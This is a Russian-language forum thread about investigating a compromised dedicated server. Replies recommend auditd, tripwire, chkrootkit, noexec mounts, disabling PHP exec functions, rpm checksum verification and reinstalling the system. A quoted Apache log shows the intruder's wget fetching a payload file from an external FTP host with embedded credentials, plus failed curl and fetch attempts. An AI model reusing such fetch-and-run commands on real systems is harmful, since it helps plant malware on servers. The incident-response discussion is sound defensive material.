Найти концы взлома дедика

забыл добавить пару аз в логах апача было такое

rm: cannot chdir from `.' to `mc-root': Permission denied rm: cannot chdir from `.' to `mc-upload_avanset': Permission denied --2012-10-09 22:01:44-- ftp://hawk1156:*password*@hawkish.co.uk/2.txt => `2.txt' Resolving hawkish.co.uk... 193.254.210.169 Connecting to hawkish.co.uk|193.254.210.169|:21... connected. Logging in as hawk1156 ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE 2.txt ... 26552 ==> PASV ... done. ==> RETR 2.txt ... done. Length: 26552 (26K)

0K .......... .......... ..... 100% 132K=0.2s

2012-10-09 22:01:45 (132 KB/s) - `2.txt' saved [26552]

curl: (1) Unsupported protocol: hawk1156 sh: fetch: command not found прямо в access логе

I) Если хочется именно понять как 1) auditd. Не забудь передать audit=1 в параметры ядра, чтобы никто не ускользнул от Большого Брата.

2) syslog на удалённый сайт

3) можно добавить IDS по вкусу

II) После всего этого, когда любопытство будет удовлетворено, полностью переустановить ОС, учтя предыдущие ошибки. Никаких бинарников и скриптов не переносить (в крайнем случае - после пристального изучения), только данные

ls -la /tmp /var/tmp

и очень внимательно изучать содержимое, обращать внимание на файло начинающееся с точки, а лучше вообще на все

далее ls -la /var/spool/cron/*/* и смотреть на задачи, особенно у www-data

в php.ini в disable_functions повписывать exec, open и т.п., пример можно найти в альт линуксе, оно там (было?) по умолчанию вписано

систему переустанавливать не надо, главное убедись что они рута не получили, а это наврятли

забыл добавить пару аз в логах апача было такое

ты владельцу 193.254.210.169 напиши абузу с этим логом, бо там походу или хостят эту радость или кому то сайт проломили

Ну так это, sockstat -4 и ищи, вперёд.

II) После всего этого, когда любопытство будет удовлетворено, полностью переустановить
ОС, учтя предыдущие ошибки. Никаких бинарников и скриптов не переносить (в крайнем случае - после
пристального изучения), только данные

Если оно за юзера apache не вылезло, может оно и не надо. Тут вопрос в уверенности или нет в наличии local root.

Если оно за юзера apache не вылезло, может оно и не надо. Тут вопрос в уверенности или нет в наличии local root.

Без предварительной настройке средств защиты и оповещения уверенности в отсутствии рута после взлома быть не может.

Выше верно сказали — нужна переустановка системы. А чтобы этого (переустановки) избежать в дальнейшем советую использовать tripwire.

Без предварительной настройке средств защиты и оповещения уверенности в
отсутствии рута после взлома быть не может.

На самом деле, может. Например, если не было злоупотреблений make install, можно сверить контольные суммы бинарников и прочих исполняемых файлов. Ну и ещё можно варианты придумать.

можно сверить контольные суммы бинарников и прочих исполняемых файлов

А оригинальные контрольные суммы откуда брать будешь? И будешь ли уверен, что все исполняемые файлы проверены? И нет появилось ли чужих, с известными уязвимостями?

Собственно, tripware за тем и придумали.

А оригинальные контрольные суммы откуда брать будешь?

«если не было злоупотреблений make install». Стало быть, из пакетов своего дистрибутива. Как вариант, вообще можно реинсталл пакетов сделать и проверить на наличие неучтённых исполняемых файлов.

Реинсталл — да, но предварительно проверив (обновив вручную) менеджер пакетов и связанные с ним средства. Еще это делать надо не в текущей среде (вдруг резидент есть).

Мне кажется, что в реальности будет гораздо проще преустановить систему. И поставить tripware.

Еще это делать надо не в текущей среде (вдруг резидент есть).

Судя по размещению в /var/tmp, а не закапыванию куда поглубже, это что-то не особенно сложное. А многоступенчатого, что рабочую часть на виду держит, а инсталлятор для неё глубоко и незаметно прячет, что-то я не встречал. Скорее всего, приполз банальный бот, который через дырки во всяких wordpress/phpmysql/и т.п. лазиет и больше ничего ломать не умеет.

Взломали дедик

Кстати, если именно дедик, то можно, действительно, переставить и установить OpenVZ какой-нибудь, а всё остальное уже по контейнерам.

Скорее всего — да. Попал дедик под общую гребенку. Конечно самый просто вариант — зачистить профиль apaсhe и все, к чему у него есть доступ, считая что дальше этого проблема не вышла. И периодически мониторить.

Ну так с рутом можно и tripware пропатчить в теории, чтобы он правильные хеши находил.

Уже переставил ОС, нашли дырки в сайте, так что скорее всего ломали направленно, да и есть факты чтоб так думать. Щас апач в чруте крутится. Всем спасибо за советы, учту.

Щас апач в чруте крутится

от повешеного шела/организации спам рассылки/доса/эмуляции ебая тебя это не спасет

лучише в пхп попрописывать в function.disable (или как оно звучит) всякие exec, system и пр. + на /tmp и /var/tmp повесить nosuid & noexec

правда с noexec, из-за гениальности мантайнеров, нельзя поставить некоторые пакеты в дебиане

нашему программеру нужны php функции system, так бы давно уже запретили :) а вот nosuid & noexec это полезно, спасибо :)

нашему программеру нужны php функции system

ИМХО, за систем() в коде по рукам надо бить большой деревянной линейкой

сейчас это модно

ты для начала chkrootkit запусти.

а потом уже всё остальное(выше сказано).

можно сверить контольные суммы бинарников и прочих исполняемых файлов. Ну и ещё можно варианты придумать.

можно и не изобретать велосипед. Вот стоит, бери, и катайся на здоровье.

можно и не изобретать велосипед. Вот стоит, бери, и катайся на здоровье.

А его и не надо изобретать. Контрольные суммы - это пакетный менеджер, rpm, к примеру.

похоже на дыру самом сайте, нужно обнаружить и закрыть

Контрольные суммы - это пакетный менеджер, rpm, к примеру.

если враги получили рута, что мешает им пофиксить rpm? А вот chkrootkit ты можешь на флешке притащить.

если враги получили рута, что мешает им пофиксить rpm?

Сверка с оригинальным rpm, разумеется.

Сверка с оригинальным rpm, разумеется.

что и с чем будет сверяться? подправленный rpm будет делать вид, что проверяет подпись пакетов? ну-ну…

подправленный rpm будет делать вид, что проверяет подпись пакетов? ну-ну…

Что, мало способов запустить гарантированно оригинарьный rpm ?

Что, мало способов запустить гарантированно оригинарьный rpm ?

много. Испортить тоже много способов есть.

например вот тебе: http://www.opennet.ru/docs/RUS/rpm_guide/101.html

импортируй мой ключик, и мои пакеты будут для твоего rpm родными. Не хуже, чем в офф репе.

например вот тебе: http://www.opennet.ru/docs/RUS/rpm_guide/101.html

Вообще-то, я контрольные суммы имел ввиду. А их можно проверить по оригинальным пакетам.

Вообще-то, я контрольные суммы имел ввиду. А их можно проверить по оригинальным пакетам.

это как? давай команду что-ли…

CyCJIeHok (28.10.2012 19:30:02)

кто здесь?

это как? давай команду что-ли…

rpm -Vp *.rpm

Предварительно убедиться, что rpm тот. Запускать в каталоге с rpm-ками.

Это надо CD-ROM с актуальными версиями вставить:

-p <file> — Verify Against a Specific Package File

Unlike the previous options to rpm -V, each of which verified one or more packages against RPM's database, the -p option performs the same verification, but against a package file. Why on earth would you want to do this when the RPM database is sitting there just waiting to be used?

Well, what if you didn't have an RPM database? While it isn't a common occurrence, power failures, hardware problems, and inadvertent deletions (along with non-existent backups) can leave your system "sans database". Then your system hiccups — what do you do now?

This is where a CD full of package files can be worth its weight in gold. Simply mount the CD and verify to your heart's content:

# rpm -Vp /mnt/cdrom/RedHat/RPMS/i386/adduser-1.1-1.i386.rpm
#
          

Whatever else might be wrong with this system, at least we can add new users. But what if you have many packages to verify? It would be a very slow process doing it one package at a time. That's where the next option comes in handy… 

не слишком-то удачный способ проверки… Может проще переустановить и не мучиться?

не слишком-то удачный способ проверки… Может проще переустановить и не мучиться?

По ситуации... Я вот /var/cache/apt не чищу, обычно, пока не припрёт, а обновления делаются. С некоторой долей вероятности можно доверять проверке по этому набору rpm-ок, вряд ли это всё пересобираться будет трояном - накладно. Если их много, а ничего не задето, вероятно, что всё хорошо. Кроме того, они везде одни и те же примерно, можно сумму md5 по каждой rpm-ке сравнить на скомпрометированном сервере и взятом за эталон.